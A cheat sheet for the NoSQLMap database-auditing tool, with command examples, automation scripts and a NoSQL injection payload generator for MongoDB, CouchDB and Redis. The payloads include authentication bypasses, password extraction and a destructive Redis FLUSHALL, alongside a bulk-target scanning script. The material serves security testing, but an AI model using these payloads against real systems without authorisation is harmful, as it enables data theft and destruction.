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NoSQLMap Cheat Sheet ​

Overview ​

NoSQLMap is a comprehensive open-source Python tool designed specifically for auditing and attacking NoSQL databases, addressing the growing security concerns in modern database environments that traditional SQL injection tools cannot handle. Developed to fill the gap in NoSQL security testing, NoSQLMap supports multiple NoSQL database types including MongoDB, CouchDB, and various document-oriented databases, providing penetration testers and security researchers with specialized capabilities for identifying and exploiting NoSQL injection vulnerabilities. The tool has become essential for organizations adopting NoSQL technologies, as traditional database security testing approaches are inadequate for these newer database paradigms.

The core strength of NoSQLMap lies in its ability to automatically detect and exploit various types of NoSQL injection vulnerabilities, including authentication bypass, data extraction, and blind injection attacks. Unlike traditional SQL injection tools that rely on SQL syntax, NoSQLMap understands the unique query structures and data formats used by NoSQL databases, such as JSON-based queries in MongoDB or key-value operations in Redis. This specialized knowledge allows the tool to craft targeted payloads that can effectively test NoSQL applications for security weaknesses that might otherwise go undetected.

NoSQLMap's versatility extends beyond simple vulnerability detection to include comprehensive database enumeration, data extraction capabilities, and advanced exploitation techniques. The tool can automatically identify database schemas, extract sensitive data, and even perform privilege escalation attacks when vulnerabilities are discovered. Its modular architecture allows for easy extension to support new NoSQL database types and attack vectors, making it a future-proof solution for NoSQL security testing. The tool's ability to integrate with existing penetration testing workflows and generate detailed reports makes it invaluable for security professionals conducting comprehensive database security assessments.

Installation ​

Python Installation ​

Installing NoSQLMap using Python package manager:

bash
# Install from PyPI
pip install nosqlmap

# Alternative: Install from GitHub
pip install git+https://github.com/codingo/NoSQLMap.git

# Install with development dependencies
pip install nosqlmap[dev]

# Verify installation
nosqlmap --version
nosqlmap --help

# Install in virtual environment (recommended)
python3 -m venv nosqlmap-env
source nosqlmap-env/bin/activate
pip install nosqlmap

Source Installation ​

Installing NoSQLMap from source code:

bash
# Clone repository
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap

# Install dependencies
pip install -r requirements.txt

# Install in development mode
pip install -e .

# Alternative: Run directly
python nosqlmap.py --help

# Make executable
chmod +x nosqlmap.py
sudo ln -s $(pwd)/nosqlmap.py /usr/local/bin/nosqlmap

# Verify installation
nosqlmap --version

Docker Installation ​

bash
# Create NoSQLMap Docker environment
cat > Dockerfile << 'EOF'
FROM python:3.9-slim

RUN apt-get update && apt-get install -y \
    git curl wget \
    && rm -rf /var/lib/apt/lists/*

# Install NoSQLMap
RUN pip install nosqlmap

# Install additional tools
RUN pip install pymongo redis

WORKDIR /nosqlmap
CMD ["nosqlmap", "--help"]
EOF

# Build container
docker build -t nosqlmap-security .

# Run NoSQLMap
docker run -it nosqlmap-security nosqlmap --help

# Run with volume mount for results
docker run -it -v $(pwd)/results:/results nosqlmap-security

Dependencies Installation ​

bash
# Install required Python packages
pip install requests
pip install pymongo
pip install redis
pip install urllib3
pip install colorama

# Install optional dependencies
pip install python-nmap  # For network scanning
pip install dnspython    # For DNS resolution
pip install pycrypto     # For encryption support

# Install database drivers
pip install motor        # Async MongoDB driver
pip install aioredis     # Async Redis driver
pip install couchdb      # CouchDB driver

# Verify dependencies
python -c "import nosqlmap; print('NoSQLMap imported successfully')"

Basic Usage ​

Target Discovery ​

Discovering NoSQL database targets:

bash
# Basic target scanning
nosqlmap --target http://example.com/api/users

# Scan with custom headers
nosqlmap --target http://example.com/api/users \
         --headers "Authorization: Bearer token123"

# Scan with cookies
nosqlmap --target http://example.com/api/users \
         --cookies "session=abc123; auth=xyz789"

# Scan with proxy
nosqlmap --target http://example.com/api/users \
         --proxy http://127.0.0.1:8080

# Scan with custom user agent
nosqlmap --target http://example.com/api/users \
         --user-agent "Mozilla/5.0 Custom Scanner"

# Multiple target scanning
nosqlmap --target-list targets.txt

Basic Injection Testing ​

Performing basic NoSQL injection tests:

bash
# Test for authentication bypass
nosqlmap --target http://example.com/login \
         --attack auth-bypass \
         --data "username=admin&password=test"

# Test for data extraction
nosqlmap --target http://example.com/api/users \
         --attack extract \
         --parameter id

# Test for blind injection
nosqlmap --target http://example.com/api/search \
         --attack blind \
         --parameter query

# Test specific parameter
nosqlmap --target http://example.com/api/users \
         --parameter id \
         --attack all

# Test with POST data
nosqlmap --target http://example.com/api/login \
         --method POST \
         --data '{"username":"admin","password":"test"}' \
         --content-type "application/json"

Database Enumeration ​

Enumerating NoSQL database information:

bash
# Enumerate database structure
nosqlmap --target http://example.com/api/users \
         --attack enumerate \
         --enumerate-all

# Enumerate collections/tables
nosqlmap --target http://example.com/api/users \
         --attack enumerate \
         --enumerate-collections

# Enumerate users and privileges
nosqlmap --target http://example.com/api/users \
         --attack enumerate \
         --enumerate-users

# Enumerate database version
nosqlmap --target http://example.com/api/users \
         --attack enumerate \
         --enumerate-version

# Custom enumeration queries
nosqlmap --target http://example.com/api/users \
         --attack enumerate \
         --custom-query "db.stats()"

Advanced Features ​

MongoDB-Specific Attacks ​

Specialized attacks for MongoDB databases:

bash
# MongoDB authentication bypass
nosqlmap --target http://example.com/login \
         --attack mongodb-auth-bypass \
         --data "username=admin&password=test"

# MongoDB injection with $where operator
nosqlmap --target http://example.com/api/search \
         --attack mongodb-where \
         --parameter query \
         --payload "function(){return true;}"

# MongoDB $regex injection
nosqlmap --target http://example.com/api/users \
         --attack mongodb-regex \
         --parameter name \
         --payload ".*"

# MongoDB $ne (not equal) injection
nosqlmap --target http://example.com/api/users \
         --attack mongodb-ne \
         --parameter status \
         --payload "inactive"

# MongoDB aggregation injection
nosqlmap --target http://example.com/api/analytics \
         --attack mongodb-aggregation \
         --parameter pipeline

CouchDB-Specific Attacks ​

Specialized attacks for CouchDB databases:

bash
# CouchDB view injection
nosqlmap --target http://example.com:5984/database/_design/app/_view/users \
         --attack couchdb-view \
         --parameter key

# CouchDB map-reduce injection
nosqlmap --target http://example.com:5984/database/_temp_view \
         --attack couchdb-mapreduce \
         --data '{"map":"function(doc){emit(doc._id,doc);}"}'

# CouchDB admin privilege escalation
nosqlmap --target http://example.com:5984/_config \
         --attack couchdb-admin \
         --credentials admin:password

# CouchDB database enumeration
nosqlmap --target http://example.com:5984/_all_dbs \
         --attack couchdb-enum

# CouchDB document extraction
nosqlmap --target http://example.com:5984/database/_all_docs \
         --attack couchdb-extract \
         --parameter include_docs=true

Redis-Specific Attacks ​

Specialized attacks for Redis databases:

bash
# Redis command injection
nosqlmap --target redis://example.com:6379 \
         --attack redis-command \
         --payload "FLUSHALL"

# Redis Lua script injection
nosqlmap --target redis://example.com:6379 \
         --attack redis-lua \
         --payload "return redis.call('keys','*')"

# Redis configuration extraction
nosqlmap --target redis://example.com:6379 \
         --attack redis-config

# Redis key enumeration
nosqlmap --target redis://example.com:6379 \
         --attack redis-keys \
         --pattern "*password*"

# Redis data extraction
nosqlmap --target redis://example.com:6379 \
         --attack redis-extract \
         --key-pattern "user:*"

Blind Injection Techniques ​

Advanced blind injection testing:

bash
# Time-based blind injection
nosqlmap --target http://example.com/api/search \
         --attack time-blind \
         --parameter query \
         --time-delay 5

# Boolean-based blind injection
nosqlmap --target http://example.com/api/users \
         --attack boolean-blind \
         --parameter id \
         --true-condition "user found" \
         --false-condition "user not found"

# Error-based blind injection
nosqlmap --target http://example.com/api/users \
         --attack error-blind \
         --parameter id \
         --error-pattern "MongoError"

# Content-length based blind injection
nosqlmap --target http://example.com/api/search \
         --attack length-blind \
         --parameter query \
         --length-threshold 100

# Custom blind injection
nosqlmap --target http://example.com/api/users \
         --attack custom-blind \
         --parameter id \
         --custom-payload "{'$where':'this.username.length>5'}"

Data Extraction ​

Advanced data extraction techniques:

bash
# Extract all data from collection
nosqlmap --target http://example.com/api/users \
         --attack extract-all \
         --collection users \
         --output-format json

# Extract specific fields
nosqlmap --target http://example.com/api/users \
         --attack extract-fields \
         --fields "username,email,password" \
         --collection users

# Extract with conditions
nosqlmap --target http://example.com/api/users \
         --attack extract-conditional \
         --condition "role=admin" \
         --collection users

# Extract with pagination
nosqlmap --target http://example.com/api/users \
         --attack extract-paginated \
         --page-size 100 \
         --max-pages 10

# Extract binary data
nosqlmap --target http://example.com/api/files \
         --attack extract-binary \
         --field file_data \
         --output-dir ./extracted_files

Automation Scripts ​

Comprehensive NoSQL Assessment ​

python
#!/usr/bin/env python3
# Comprehensive NoSQL security assessment

import subprocess
import json
import time
from datetime import datetime
import requests
from urllib.parse import urlparse

class NoSQLSecurityAssessment:
    def __init__(self, target_url, output_dir="nosql_assessment"):
        self.target_url = target_url
        self.output_dir = output_dir
        self.results = {}
        self.vulnerabilities = []
        
        # Create output directory
        import os
        os.makedirs(output_dir, exist_ok=True)
    
    def run_basic_tests(self):
        """Run basic NoSQL injection tests"""
        print("Running basic NoSQL injection tests...")
        
        basic_tests = [
            {
                "name": "Authentication Bypass",
                "attack": "auth-bypass",
                "description": "Test for authentication bypass vulnerabilities"
            },
            {
                "name": "Data Extraction",
                "attack": "extract",
                "description": "Test for data extraction vulnerabilities"
            },
            {
                "name": "Blind Injection",
                "attack": "blind",
                "description": "Test for blind injection vulnerabilities"
            },
            {
                "name": "Enumeration",
                "attack": "enumerate",
                "description": "Test for information disclosure"
            }
        ]
        
        for test in basic_tests:
            print(f"Running {test['name']} test...")
            
            cmd = [
                "nosqlmap",
                "--target", self.target_url,
                "--attack", test["attack"],
                "--output-format", "json",
                "--output-file", f"{self.output_dir}/{test['attack']}_results.json"
            ]
            
            try:
                result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
                
                test_result = {
                    "test_name": test["name"],
                    "attack_type": test["attack"],
                    "command": " ".join(cmd),
                    "return_code": result.returncode,
                    "stdout": result.stdout,
                    "stderr": result.stderr,
                    "timestamp": datetime.now().isoformat()
                }
                
                if result.returncode == 0:
                    test_result["status"] = "completed"
                    # Parse results for vulnerabilities
                    self.parse_test_results(test["attack"], result.stdout)
                else:
                    test_result["status"] = "failed"
                
                self.results[test["attack"]] = test_result
                
            except subprocess.TimeoutExpired:
                print(f"Test {test['name']} timed out")
                self.results[test["attack"]] = {
                    "test_name": test["name"],
                    "status": "timeout",
                    "timestamp": datetime.now().isoformat()
                }
            
            except Exception as e:
                print(f"Error running test {test['name']}: {e}")
                self.results[test["attack"]] = {
                    "test_name": test["name"],
                    "status": "error",
                    "error": str(e),
                    "timestamp": datetime.now().isoformat()
                }
            
            time.sleep(2)  # Rate limiting
    
    def run_database_specific_tests(self):
        """Run database-specific tests"""
        print("Running database-specific tests...")
        
        # Detect database type first
        db_type = self.detect_database_type()
        
        if db_type == "mongodb":
            self.run_mongodb_tests()
        elif db_type == "couchdb":
            self.run_couchdb_tests()
        elif db_type == "redis":
            self.run_redis_tests()
        else:
            print("Database type not detected, running generic tests")
            self.run_generic_tests()
    
    def detect_database_type(self):
        """Detect NoSQL database type"""
        print("Detecting database type...")
        
        # Check for MongoDB indicators
        mongodb_indicators = [
            "/api/",
            "ObjectId",
            "mongodb://",
            "27017"
        ]
        
        # Check for CouchDB indicators
        couchdb_indicators = [
            "_design/",
            "_view/",
            "5984",
            "couchdb"
        ]
        
        # Check for Redis indicators
        redis_indicators = [
            "redis://",
            "6379",
            "REDIS"
        ]
        
        try:
            response = requests.get(self.target_url, timeout=10)
            content = response.text.lower()
            headers = response.headers
            
            # Check headers and content for indicators
            if any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in mongodb_indicators):
                return "mongodb"
            elif any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in couchdb_indicators):
                return "couchdb"
            elif any(indicator.lower() in content or indicator.lower() in str(headers) for indicator in redis_indicators):
                return "redis"
            
        except Exception as e:
            print(f"Error detecting database type: {e}")
        
        return "unknown"
    
    def run_mongodb_tests(self):
        """Run MongoDB-specific tests"""
        print("Running MongoDB-specific tests...")
        
        mongodb_tests = [
            "mongodb-auth-bypass",
            "mongodb-where",
            "mongodb-regex",
            "mongodb-ne",
            "mongodb-aggregation"
        ]
        
        for test in mongodb_tests:
            cmd = [
                "nosqlmap",
                "--target", self.target_url,
                "--attack", test,
                "--output-format", "json"
            ]
            
            try:
                result = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
                self.results[f"mongodb_{test}"] = {
                    "attack_type": test,
                    "return_code": result.returncode,
                    "output": result.stdout,
                    "timestamp": datetime.now().isoformat()
                }
                
                if result.returncode == 0:
                    self.parse_test_results(test, result.stdout)
                
            except Exception as e:
                print(f"Error running MongoDB test {test}: {e}")
    
    def run_couchdb_tests(self):
        """Run CouchDB-specific tests"""
        print("Running CouchDB-specific tests...")
        
        couchdb_tests = [
            "couchdb-view",
            "couchdb-mapreduce",
            "couchdb-admin",
            "couchdb-enum"
        ]
        
        for test in couchdb_tests:
            cmd = [
                "nosqlmap",
                "--target", self.target_url,
                "--attack", test,
                "--output-format", "json"
            ]
            
            try:
                result = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
                self.results[f"couchdb_{test}"] = {
                    "attack_type": test,
                    "return_code": result.returncode,
                    "output": result.stdout,
                    "timestamp": datetime.now().isoformat()
                }
                
                if result.returncode == 0:
                    self.parse_test_results(test, result.stdout)
                
            except Exception as e:
                print(f"Error running CouchDB test {test}: {e}")
    
    def run_redis_tests(self):
        """Run Redis-specific tests"""
        print("Running Redis-specific tests...")
        
        redis_tests = [
            "redis-command",
            "redis-lua",
            "redis-config",
            "redis-keys"
        ]
        
        for test in redis_tests:
            cmd = [
                "nosqlmap",
                "--target", self.target_url,
                "--attack", test,
                "--output-format", "json"
            ]
            
            try:
                result = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
                self.results[f"redis_{test}"] = {
                    "attack_type": test,
                    "return_code": result.returncode,
                    "output": result.stdout,
                    "timestamp": datetime.now().isoformat()
                }
                
                if result.returncode == 0:
                    self.parse_test_results(test, result.stdout)
                
            except Exception as e:
                print(f"Error running Redis test {test}: {e}")
    
    def parse_test_results(self, test_type, output):
        """Parse test results for vulnerabilities"""
        
        # Look for vulnerability indicators in output
        vulnerability_indicators = [
            "VULNERABLE",
            "INJECTION FOUND",
            "BYPASS SUCCESSFUL",
            "DATA EXTRACTED",
            "AUTHENTICATION BYPASSED"
        ]
        
        if any(indicator in output.upper() for indicator in vulnerability_indicators):
            vulnerability = {
                "test_type": test_type,
                "severity": self.determine_severity(test_type),
                "description": f"NoSQL injection vulnerability found in {test_type} test",
                "evidence": output[:500],  # First 500 chars as evidence
                "timestamp": datetime.now().isoformat()
            }
            
            self.vulnerabilities.append(vulnerability)
    
    def determine_severity(self, test_type):
        """Determine vulnerability severity based on test type"""
        
        high_severity = ["auth-bypass", "extract", "mongodb-auth-bypass"]
        medium_severity = ["blind", "enumerate", "mongodb-where"]
        
        if test_type in high_severity:
            return "HIGH"
        elif test_type in medium_severity:
            return "MEDIUM"
        else:
            return "LOW"
    
    def generate_report(self):
        """Generate comprehensive assessment report"""
        
        report = {
            "assessment_info": {
                "target": self.target_url,
                "timestamp": datetime.now().isoformat(),
                "total_tests": len(self.results),
                "vulnerabilities_found": len(self.vulnerabilities)
            },
            "test_results": self.results,
            "vulnerabilities": self.vulnerabilities,
            "summary": {
                "high_severity": len([v for v in self.vulnerabilities if v["severity"] == "HIGH"]),
                "medium_severity": len([v for v in self.vulnerabilities if v["severity"] == "MEDIUM"]),
                "low_severity": len([v for v in self.vulnerabilities if v["severity"] == "LOW"])
            }
        }
        
        # Save JSON report
        with open(f"{self.output_dir}/assessment_report.json", 'w') as f:
            json.dump(report, f, indent=2)
        
        # Generate HTML report
        self.generate_html_report(report)
        
        print(f"Assessment completed. Report saved to {self.output_dir}/")
        print(f"Vulnerabilities found: {len(self.vulnerabilities)}")
        
        return report
    
    def generate_html_report(self, report):
        """Generate HTML assessment report"""
        
        html_template = """
<!DOCTYPE html>
<html>
<head>
    <title>NoSQL Security Assessment Report</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .header { background-color: #f0f0f0; padding: 20px; }
        .vulnerability { margin: 15px 0; padding: 15px; border-left: 4px solid #ff0000; background-color: #fff5f5; }
        .high { border-left-color: #ff0000; }
        .medium { border-left-color: #ff8800; }
        .low { border-left-color: #ffff00; }
        .test-result { margin: 10px 0; padding: 10px; background-color: #f9f9f9; }
        .summary { background-color: #e6f3ff; padding: 15px; margin: 20px 0; }
    </style>
</head>
<body>
    <div class="header">
        <h1>NoSQL Security Assessment Report</h1>
        <p>Target: {target}</p>
        <p>Assessment Date: {timestamp}</p>
    </div>
    
    <div class="summary">
        <h2>Executive Summary</h2>
        <p>Total Tests Performed: {total_tests}</p>
        <p>Vulnerabilities Found: {total_vulnerabilities}</p>
        <ul>
            <li>High Severity: {high_severity}</li>
            <li>Medium Severity: {medium_severity}</li>
            <li>Low Severity: {low_severity}</li>
        </ul>
    </div>
    
    <h2>Vulnerabilities</h2>
    {vulnerabilities_html}
    
    <h2>Test Results</h2>
    {test_results_html}
</body>
</html>
        """
        
        # Generate vulnerabilities HTML
        vulnerabilities_html = ""
        for vuln in report["vulnerabilities"]:
            vulnerabilities_html += f"""
            <div class="vulnerability {vuln['severity'].lower()}">
                <h3>{vuln['test_type']} - {vuln['severity']} Severity</h3>
                <p>{vuln['description']}</p>
                <p><strong>Evidence:</strong> {vuln['evidence']}</p>
                <p><strong>Timestamp:</strong> {vuln['timestamp']}</p>
            </div>
            """
        
        # Generate test results HTML
        test_results_html = ""
        for test_name, result in report["test_results"].items():
            test_results_html += f"""
            <div class="test-result">
                <h3>{test_name}</h3>
                <p>Status: {result.get('status', 'Unknown')}</p>
                <p>Return Code: {result.get('return_code', 'N/A')}</p>
                <p>Timestamp: {result.get('timestamp', 'N/A')}</p>
            </div>
            """
        
        html_content = html_template.format(
            target=report["assessment_info"]["target"],
            timestamp=report["assessment_info"]["timestamp"],
            total_tests=report["assessment_info"]["total_tests"],
            total_vulnerabilities=report["assessment_info"]["vulnerabilities_found"],
            high_severity=report["summary"]["high_severity"],
            medium_severity=report["summary"]["medium_severity"],
            low_severity=report["summary"]["low_severity"],
            vulnerabilities_html=vulnerabilities_html,
            test_results_html=test_results_html
        )
        
        with open(f"{self.output_dir}/assessment_report.html", 'w') as f:
            f.write(html_content)

# Usage
if __name__ == "__main__":
    target_url = "http://example.com/api/users"
    
    assessment = NoSQLSecurityAssessment(target_url)
    
    # Run comprehensive assessment
    assessment.run_basic_tests()
    assessment.run_database_specific_tests()
    
    # Generate report
    report = assessment.generate_report()

Automated Payload Generation ​

python
#!/usr/bin/env python3
# NoSQL injection payload generator

import json
import base64
import urllib.parse

class NoSQLPayloadGenerator:
    def __init__(self):
        self.payloads = {
            "mongodb": [],
            "couchdb": [],
            "redis": [],
            "generic": []
        }
        self.generate_all_payloads()
    
    def generate_mongodb_payloads(self):
        """Generate MongoDB-specific payloads"""
        
        # Authentication bypass payloads
        auth_bypass = [
            {"username": {"$ne": ""}, "password": {"$ne": ""}},
            {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
            {"username": {"$exists": True}, "password": {"$exists": True}},
            {"username": {"$gt": ""}, "password": {"$gt": ""}},
            {"$or": [{"username": "admin"}, {"username": {"$ne": ""}}]},
            {"username": {"$in": ["admin", "administrator", "root"]}}
        ]
        
        # Data extraction payloads
        data_extraction = [
            {"$where": "return true"},
            {"$where": "function(){return this.username.length > 0}"},
            {"$where": "function(){return JSON.stringify(this)}"},
            {"username": {"$regex": "^a.*"}},
            {"password": {"$regex": ".*"}},
            {"$expr": {"$gt": [{"$strLenCP": "$password"}, 0]}}
        ]
        
        # Blind injection payloads
        blind_injection = [
            {"$where": "sleep(5000)"},
            {"$where": "function(){if(this.username=='admin')sleep(5000)}"},
            {"username": {"$regex": "^admin.*"}, "$where": "sleep(1000)"},
            {"$expr": {"$cond": [{"$eq": ["$username", "admin"]}, {"$literal": True}, {"$literal": False}]}}
        ]
        
        self.payloads["mongodb"] = {
            "auth_bypass": auth_bypass,
            "data_extraction": data_extraction,
            "blind_injection": blind_injection
        }
    
    def generate_couchdb_payloads(self):
        """Generate CouchDB-specific payloads"""
        
        # View injection payloads
        view_injection = [
            {"key": ["admin", {"$gt": null}]},
            {"startkey": "admin", "endkey": "admin\ufff0"},
            {"key": {"$regex": ".*admin.*"}},
            {"include_docs": True, "key": {"$ne": null}}
        ]
        
        # Map-reduce injection payloads
        mapreduce_injection = [
            {
                "map": "function(doc){if(doc.username=='admin')emit(doc._id,doc);}"
            },
            {
                "map": "function(doc){emit(doc._id,doc);}",
                "reduce": "function(keys,values){return values;}"
            }
        ]
        
        self.payloads["couchdb"] = {
            "view_injection": view_injection,
            "mapreduce_injection": mapreduce_injection
        }
    
    def generate_redis_payloads(self):
        """Generate Redis-specific payloads"""
        
        # Command injection payloads
        command_injection = [
            "FLUSHALL",
            "CONFIG GET *",
            "INFO",
            "KEYS *",
            "EVAL \"return redis.call('keys','*')\" 0",
            "SCRIPT LOAD \"return redis.call('flushall')\""
        ]
        
        # Lua script injection payloads
        lua_injection = [
            "return redis.call('keys','*')",
            "return redis.call('config','get','*')",
            "return redis.call('info')",
            "for i=1,1000000 do end; return 'done'"
        ]
        
        self.payloads["redis"] = {
            "command_injection": command_injection,
            "lua_injection": lua_injection
        }
    
    def generate_generic_payloads(self):
        """Generate generic NoSQL payloads"""
        
        # Generic injection patterns
        generic_patterns = [
            "'; return true; //",
            "\"; return true; //",
            "' || '1'=='1",
            "\" || \"1\"==\"1\"",
            "'; return this; //",
            "\"; return this; //",
            "true, true",
            "false, true",
            "1, 1",
            "0, 1"
        ]
        
        # JSON injection payloads
        json_injection = [
            {"$ne": ""},
            {"$gt": ""},
            {"$regex": ".*"},
            {"$exists": True},
            {"$in": ["admin", "user", "guest"]},
            {"$or": [{"username": "admin"}, {"password": {"$ne": ""}}]}
        ]
        
        self.payloads["generic"] = {
            "patterns": generic_patterns,
            "json_injection": json_injection
        }
    
    def generate_all_payloads(self):
        """Generate all payload types"""
        self.generate_mongodb_payloads()
        self.generate_couchdb_payloads()
        self.generate_redis_payloads()
        self.generate_generic_payloads()
    
    def encode_payload(self, payload, encoding_type="url"):
        """Encode payload for different contexts"""
        
        if isinstance(payload, dict):
            payload_str = json.dumps(payload)
        else:
            payload_str = str(payload)
        
        if encoding_type == "url":
            return urllib.parse.quote(payload_str)
        elif encoding_type == "base64":
            return base64.b64encode(payload_str.encode()).decode()
        elif encoding_type == "double_url":
            return urllib.parse.quote(urllib.parse.quote(payload_str))
        else:
            return payload_str
    
    def generate_test_cases(self, target_db="mongodb", encoding="url"):
        """Generate test cases for specific database"""
        
        test_cases = []
        
        if target_db in self.payloads:
            for category, payloads in self.payloads[target_db].items():
                for payload in payloads:
                    test_case = {
                        "database": target_db,
                        "category": category,
                        "payload": payload,
                        "encoded_payload": self.encode_payload(payload, encoding),
                        "description": f"{target_db} {category} payload"
                    }
                    test_cases.append(test_case)
        
        return test_cases
    
    def export_payloads(self, output_file="nosql_payloads.json"):
        """Export all payloads to file"""
        
        with open(output_file, 'w') as f:
            json.dump(self.payloads, f, indent=2)
        
        print(f"Payloads exported to {output_file}")
    
    def generate_wordlist(self, target_db="all", output_file="nosql_wordlist.txt"):
        """Generate wordlist for fuzzing"""
        
        wordlist = []
        
        if target_db == "all":
            databases = self.payloads.keys()
        else:
            databases = [target_db] if target_db in self.payloads else []
        
        for db in databases:
            for category, payloads in self.payloads[db].items():
                for payload in payloads:
                    if isinstance(payload, dict):
                        wordlist.append(json.dumps(payload))
                    else:
                        wordlist.append(str(payload))
        
        with open(output_file, 'w') as f:
            for item in wordlist:
                f.write(item + '\n')
        
        print(f"Wordlist generated: {output_file}")
        return wordlist

# Usage
if __name__ == "__main__":
    generator = NoSQLPayloadGenerator()
    
    # Generate test cases for MongoDB
    mongodb_tests = generator.generate_test_cases("mongodb", "url")
    print(f"Generated {len(mongodb_tests)} MongoDB test cases")
    
    # Export all payloads
    generator.export_payloads()
    
    # Generate wordlist
    generator.generate_wordlist()

Bulk Target Testing ​

bash
#!/bin/bash
# Bulk NoSQL target testing script

TARGET_FILE="$1"
OUTPUT_DIR="bulk_nosql_results_$(date +%Y%m%d_%H%M%S)"

if [ -z "$TARGET_FILE" ]; then
    echo "Usage: $0 <target_file>"
    echo "Target file should contain one URL per line"
    exit 1
fi

if [ ! -f "$TARGET_FILE" ]; then
    echo "Error: Target file not found: $TARGET_FILE"
    exit 1
fi

echo "Starting bulk NoSQL testing..."
echo "Target file: $TARGET_FILE"
echo "Output directory: $OUTPUT_DIR"

# Create output directory
mkdir -p "$OUTPUT_DIR"

# Initialize summary
echo "Target,Status,Vulnerabilities,Test_Time" > "$OUTPUT_DIR/summary.csv"

# Process each target
while IFS= read -r target; do
    # Skip empty lines and comments
    if [[ -z "$target" || "$target" =~ ^# ]]; then
        continue
    fi
    
    echo "Testing target: $target"
    
    # Create target-specific directory
    target_dir="$OUTPUT_DIR/$(echo "$target" | sed 's|[^a-zA-Z0-9]|_|g')"
    mkdir -p "$target_dir"
    
    start_time=$(date +%s)
    
    # Run basic tests
    echo "Running basic NoSQL injection tests..."
    
    # Authentication bypass test
    nosqlmap --target "$target" \
             --attack auth-bypass \
             --output-format json \
             --output-file "$target_dir/auth_bypass.json" \
             --timeout 60 > "$target_dir/auth_bypass.log" 2>&1
    
    # Data extraction test
    nosqlmap --target "$target" \
             --attack extract \
             --output-format json \
             --output-file "$target_dir/data_extract.json" \
             --timeout 60 > "$target_dir/data_extract.log" 2>&1
    
    # Blind injection test
    nosqlmap --target "$target" \
             --attack blind \
             --output-format json \
             --output-file "$target_dir/blind_injection.json" \
             --timeout 60 > "$target_dir/blind_injection.log" 2>&1
    
    # Enumeration test
    nosqlmap --target "$target" \
             --attack enumerate \
             --output-format json \
             --output-file "$target_dir/enumeration.json" \
             --timeout 60 > "$target_dir/enumeration.log" 2>&1
    
    end_time=$(date +%s)
    test_duration=$((end_time - start_time))
    
    # Analyze results
    vulnerability_count=0
    status="TESTED"
    
    # Check for vulnerabilities in output files
    for result_file in "$target_dir"/*.json; do
        if [ -f "$result_file" ]; then
            if grep -q "VULNERABLE\|INJECTION\|BYPASS" "$result_file" 2>/dev/null; then
                vulnerability_count=$((vulnerability_count + 1))
                status="VULNERABLE"
            fi
        fi
    done
    
    # Check for errors
    if grep -q "ERROR\|TIMEOUT\|FAILED" "$target_dir"/*.log 2>/dev/null; then
        if [ "$status" != "VULNERABLE" ]; then
            status="ERROR"
        fi
    fi
    
    # Update summary
    echo "$target,$status,$vulnerability_count,${test_duration}s" >> "$OUTPUT_DIR/summary.csv"
    
    echo "Completed testing $target (${test_duration}s, $vulnerability_count vulnerabilities)"
    
    # Rate limiting
    sleep 5
    
done < "$TARGET_FILE"

# Generate final report
echo "Generating final report..."

cat > "$OUTPUT_DIR/bulk_test_report.html" << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Bulk NoSQL Testing Report</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        table { border-collapse: collapse; width: 100%; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
        .vulnerable { background-color: #ffebee; }
        .error { background-color: #fff3e0; }
        .tested { background-color: #e8f5e8; }
    </style>
</head>
<body>
    <h1>Bulk NoSQL Testing Report</h1>
    <p>Generated: $(date)</p>
    <p>Total targets tested: $(wc -l < "$TARGET_FILE")</p>
    
    <h2>Summary</h2>
    <table>
        <tr>
            <th>Target</th>
            <th>Status</th>
            <th>Vulnerabilities</th>
            <th>Test Duration</th>
        </tr>
EOF

# Add table rows from CSV
tail -n +2 "$OUTPUT_DIR/summary.csv" | while IFS=, read -r target status vulns duration; do
    css_class=$(echo "$status" | tr '[:upper:]' '[:lower:]')
    echo "        <tr class=\"$css_class\">" >> "$OUTPUT_DIR/bulk_test_report.html"
    echo "            <td>$target</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
    echo "            <td>$status</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
    echo "            <td>$vulns</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
    echo "            <td>$duration</td>" >> "$OUTPUT_DIR/bulk_test_report.html"
    echo "        </tr>" >> "$OUTPUT_DIR/bulk_test_report.html"
done

cat >> "$OUTPUT_DIR/bulk_test_report.html" << EOF
    </table>
</body>
</html>
EOF

echo "Bulk testing completed!"
echo "Results saved in: $OUTPUT_DIR"
echo "Summary report: $OUTPUT_DIR/bulk_test_report.html"

# Print summary statistics
echo ""
echo "Summary Statistics:"
echo "==================="
total_targets=$(tail -n +2 "$OUTPUT_DIR/summary.csv" | wc -l)
vulnerable_targets=$(tail -n +2 "$OUTPUT_DIR/summary.csv" | grep -c "VULNERABLE")
error_targets=$(tail -n +2 "$OUTPUT_DIR/summary.csv" | grep -c "ERROR")
tested_targets=$(tail -n +2 "$OUTPUT_DIR/summary.csv" | grep -c "TESTED")

echo "Total targets: $total_targets"
echo "Vulnerable targets: $vulnerable_targets"
echo "Error targets: $error_targets"
echo "Successfully tested: $tested_targets"

if [ "$total_targets" -gt 0 ]; then
    vulnerability_rate=$((vulnerable_targets * 100 / total_targets))
    echo "Vulnerability rate: $vulnerability_rate%"
fi

Integration Examples ​

Burp Suite Integration ​

python
#!/usr/bin/env python3
# NoSQLMap integration with Burp Suite

import requests
import json
import base64
from urllib.parse import urlparse, parse_qs

class BurpNoSQLIntegration:
    def __init__(self, burp_proxy="http://127.0.0.1:8080"):
        self.burp_proxy = burp_proxy
        self.session = requests.Session()
        self.session.proxies = {"http": burp_proxy, "https": burp_proxy}
        self.session.verify = False  # Disable SSL verification for Burp
    
    def import_burp_request(self, burp_request_file):
        """Import request from Burp Suite"""
        
        with open(burp_request_file, 'r') as f:
            request_data = f.read()
        
        # Parse Burp request format
        lines = request_data.split('\n')
        
        # Extract method, URL, and headers
        request_line = lines[0]
        method, path, protocol = request_line.split(' ')
        
        headers = {}
        body = ""
        body_start = False
        
        for line in lines[1:]:
            if line.strip() == "":
                body_start = True
                continue
